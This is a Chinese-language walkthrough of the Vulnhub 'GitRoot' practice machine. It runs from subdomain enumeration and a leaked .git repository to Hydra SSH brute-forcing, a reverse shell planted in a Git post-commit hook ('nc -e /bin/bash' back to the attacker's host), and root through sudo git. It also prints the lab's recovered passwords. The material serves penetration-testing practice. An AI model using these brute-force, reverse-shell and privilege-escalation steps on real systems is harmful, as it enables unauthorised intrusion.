Vulnhub | 从Git泄露到Get-root

admin 2021年4月5日02:40:50评论117 views字数 4149阅读13分49秒阅读模式

非常有意思的一个靶场,中间爆破时间太长还做了另外一个靶场,等明天再发出来

IP获取及信息收集

Vulnhub | 从Git泄露到Get-root

靶机直接给了ip地址,仍旧是信息收集老三样,先扫端口

nmap -T4 -A -sS -p 1-65535 -v 192.168.1.100

Shell

Bash

Vulnhub | 从Git泄露到Get-root

渗透

wp域名

先看一下80端口

Vulnhub | 从Git泄露到Get-root

直接访问发现告诉我们wp.gitroot.vuln域名下存在wordpress建站系统,我们直接在hosts目录下绑定域名,由于wp.gitroot.vuln是二级域名,我们在绑定wp子域名的同时,绑定主域名,这样在测试时,如果存在其他子域名我们也可以进行子域名爆破从而收集数据

在我们的windows和linux目录下都绑定一下

Vulnhub | 从Git泄露到Get-root

绑定之后访问域名,成功进入wordpress站点

Vulnhub | 从Git泄露到Get-root

发现用户名,访问wp-login.php进行弱口令爆破

Vulnhub | 从Git泄露到Get-root

没反应,wp-scan搞一下

Vulnhub | 从Git泄露到Get-root

repo子域

也没啥东西,除了版本老一点,wp这个站点就先放这里,回到最开始的点,既然wp这个子域名没有什么有效信息,我们直接爆破一下子域名,这里能用的有很多wfuzz和gobuster都可以

./gobuster vhost -u gitroot.vuln -w /root/OneForAll/data/subnames.txt

Shell

Bash

Vulnhub | 从Git泄露到Get-root

原本用的是DNS方法,结果查不出来,在网上看需要用vhost方法

查到了第二个子域名,hosts文件绑定一下,访问一下看看

Vulnhub | 从Git泄露到Get-root

告诉我们这是存储代码的地方,直接扫一下目录,查看是否存在备份文件

Vulnhub | 从Git泄露到Get-root

Vulnhub | 从Git泄露到Get-root

先看看web页面,manual页面存放的是apache文档文件,剩下的页面也没有太过有效的信息

Vulnhub | 从Git泄露到Get-root

同时看到存在git源码泄露,我们先用githack下载下来源码看看

Vulnhub | 从Git泄露到Get-root

几个文件核心代码相似,看一下

    $gitmem = new Memcached();
$gitmem->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
$gitmem->setSaslAuthData("USERNAME", "PASSWORD");
$gitmem->addServer("127.0.0.1", 11211);
$response = $gitmem->get($_GET["store"]);

PHP

PHP

看了一下大概是远程管理git仓库的代码,看一下其他的两个txt文件

Vulnhub | 从Git泄露到Get-root

一个说这个git仓库有错误,一个给了我们疑似密码的字符串,同时我们可以根据之前在wordpress站点获取到的信息,可以发现该网站应该有三个用户

pablo
beth
jen

首先猜测一下这个字符串是否为密码,在wp子域名下进行尝试,无法登陆,22端口再测试一下,还是无法登陆,那么剩下的就是txt文档给我们的提示了,我们需要通过git来找寻信息,这里单纯的使用githack已经不能完成了,我们使用gittools来分析

bash gitdumper.sh http://repo.gitroot.vuln/.git/ ssss

Shell

Bash

Vulnhub | 从Git泄露到Get-root

看到下载到很多历史文件夹,我们恢复一下数据

bash extractor.sh ../Dumper/ssss/ fu

Shell

Bash

Vulnhub | 从Git泄露到Get-root

生成了六个文件夹,tree一下看看目录结构

Vulnhub | 从Git泄露到Get-root

存在commit-meta.txt,我们挨个查看文件收集信息,在最开始的set.php中发现密码

    $gitmem->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
$gitmem->setSaslAuthData("pablo@gitroot", "ihjedpvqfe");
$gitmem->addServer("127.0.0.1", 11211);
$response = $gitmem->set($key, $value);

PHP

PHP

我们使用该密码尝试登陆22端口和web端口,登陆失败,尝试登陆一下git服务器

Vulnhub | 从Git泄露到Get-root

也无法登陆,综合一下目前的信息

user:pablo/beth/jen
pass:ihjedpvqfe

直接上九头蛇爆破一下吧

hydra -L user.txt -P rockyou.txt -vV -o ssh.log -e ns 192.168.1.102 ssh

Shell

Bash

出门剪个头发,回来看结果

Vulnhub | 从Git泄露到Get-root

没有结果,吃个饭再等等吧,吃了饭溜了弯,等了六七个小时了,还是没有,继续等,然后去看看国外老哥是啥思路

Vulnhub | 从Git泄露到Get-root

发现国外老哥也是爆破思路,我直接给密码先拿过来用,然后rockyou继续跑着,先进行下面的测试

Vulnhub | 从Git泄露到Get-root

利用爆破得到的用户密码成功登陆服务器,在服务器上收集信息

服务器

Vulnhub | 从Git泄露到Get-root

发现了第一个flag,在public目录下发现message.txt

Hey pablo

Make sure to check-out our brand new git repo!

告诉我们还要搜索git,直接find一下服务器中的git目录

find / -name '.git' 2>/dev/null

Shell

Bash

Vulnhub | 从Git泄露到Get-root

发现存在git目录,在靶机/opt/auth目录下开一个HTTPServer,依然使用gittools进行下载

靶机:python -m SimpleHTTPServer 9999
kali:bash gitdumper.sh http://192.168.1.102:9999/.git/ test-git

Shell

Bash

Vulnhub | 从Git泄露到Get-root

恢复一下数据

bash extractor.sh ../Dumper/test-git/ tttgit

Shell

Bash

进入指定目录,看一下修改文件记录

Vulnhub | 从Git泄露到Get-root

好家伙 200多个文件夹,这里介绍两个方法进行查找,首先是最直接的文件大小法,直接列出所有文件夹下的大小,把相同的过滤掉,剩下不同的就是修改过的文件,也是最可能是给我们提示的文件

ls -tl **/ #显示当前目录下所有文件的大小

Shell

Bash

大致看一下,剔除一下最多出现的文件大小

ls -tl **/|grep -v "393"|grep -v "212"|grep -v "  94  "|grep -v " 394  "|grep -v "  95  "

Shell

Bash

Vulnhub | 从Git泄露到Get-root

发现只有166文件夹下的commit-meta.txt没有被过滤掉,我们读取一下该目录下文件

Vulnhub | 从Git泄露到Get-root

发现密码。我们也可以根据git的特性来查找,既然是在git中修改,那么修改过后,作为记录日志的commit-meta.txt文件就会记下变化,而git的修改关键词是“added”,我们直接在当面目录下查找存在added的文件即可找到修改的文件位置

Vulnhub | 从Git泄露到Get-root

获取到密码后,我们尝试切换一下用户

Vulnhub | 从Git泄露到Get-root

成功切换用户,查看一下用户目录,依然存在提示

beth@GitRoot:~/public$ cat addToMyRepo.txt 
Hello Beth

If you want to commit to my repository you can add a zip file to ~jen/public/repos/ and ill unzip it and add it to my repository

Thanks!

Shell

Bash

大概意思就是说我们可以在他指定的目录下放入我们要提交给他的代码压缩包,然后jen用户会自动解压,到这里我们需要整合一下从渗透开始获取到的信息,以便于更好的提升权限

username password 来源
pablo mastergitar 通过Hydra爆破22端口
beth r3vpdmspqdb 通过/opt/auth目录下的git获得
jen ? 大概是通过构造压缩文件获取
git@gitroot ihjedpvqfe 通过repo目录下的git获取到

下一步就是通过构造代码来获取jen用户的权限了,既然是自动将我们的git代码解压后进行git commit,那么触发的点就在git commit的过程中,这里需要了解一下Git Hooks

Git Hooks简介

这篇文章详细的介绍了Git Hooks的作用,简单来说就是在git commit后触发的脚本,那么我们可以添加一个git文件夹,并添加上Git Hooks,在其中写入我们的反弹shell脚本,等待git commit后触发我们的脚本即可

Vulnhub | 从Git泄露到Get-root

根据文章中的顺序,由于前三个文件都是比较关键的,所以我们可以在post-commit文件中添加我们的反弹shell脚本

nc -e /bin/bash 192.168.1.100 7898 #中午重启了一下靶机,靶机ip变为102了

Shell

Bash

Vulnhub | 从Git泄露到Get-root

将压缩包复制到指定文件夹后监听端口一直没反应,后来看hooks的文章才知道,需要写成.sh文件的形式,我们修改一下post-commit的内容,同时需要修改我们的post-commit权限和压缩包权限都为777,这样jen用户才能正常解压并运行脚本

#!/bin/bash
/usr/bin/nc -e /bin/bash 192.168.1.100 7898

Shell

Bash

重新打包,复制过去,nc监听指定端口,稍等一会即可监听到

Vulnhub | 从Git泄露到Get-root

利用python升级成交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

Shell

Bash

Vulnhub | 从Git泄露到Get-root

查看用户家目录发现一个仅当前用户可读的文件,读取一下,发现可疑字符串

Vulnhub | 从Git泄露到Get-root

根据做到这里的经验,估摸着就是jen用户的密码了,我们在beth用户端切换一下用户试试

Vulnhub | 从Git泄露到Get-root

成功切换,到此三个用户的密码我们都成功获取到

pablo/mastergitar
beth/r3vpdmspqdb
jen/binzpbeocnexoe

提权

下一步就是提升权限,直接sudo一下,发现不能直接切换root,whoami等命令也不能直接sudo,不过发现git命令可以sudo执行,好家伙直接git提权payload来一下

Vulnhub | 从Git泄露到Get-root

linux提权方法

Vulnhub | 从Git泄露到Get-root

成功提权,大吉大利

总结

这个靶场的针对性很强,主要就是考察git的漏洞知识点,从git泄露中获取代码和历史代码,之后的sudo权限设置问题利用git提权,值得一练,搞这个靶场用了将近一天时间,因为爆破的缘故,中间就端着茶杯看hydra不停的爆,到文章落笔之时,我的kali仍然在爆破中。毕竟一个完整的渗透,不仅仅是技术还有时间和耐心。

勤 奋 的 Hydra

Vulnhub | 从Git泄露到Get-root

作者博客:http://www.pdsdt.lovepdsdt.com

本文始发于微信公众号(安译Sec):Vulnhub | 从Git泄露到Get-root

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月5日02:40:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub | 从Git泄露到Get-roothttp://cn-sec.com/archives/326604.html

发表评论

匿名网友 填写信息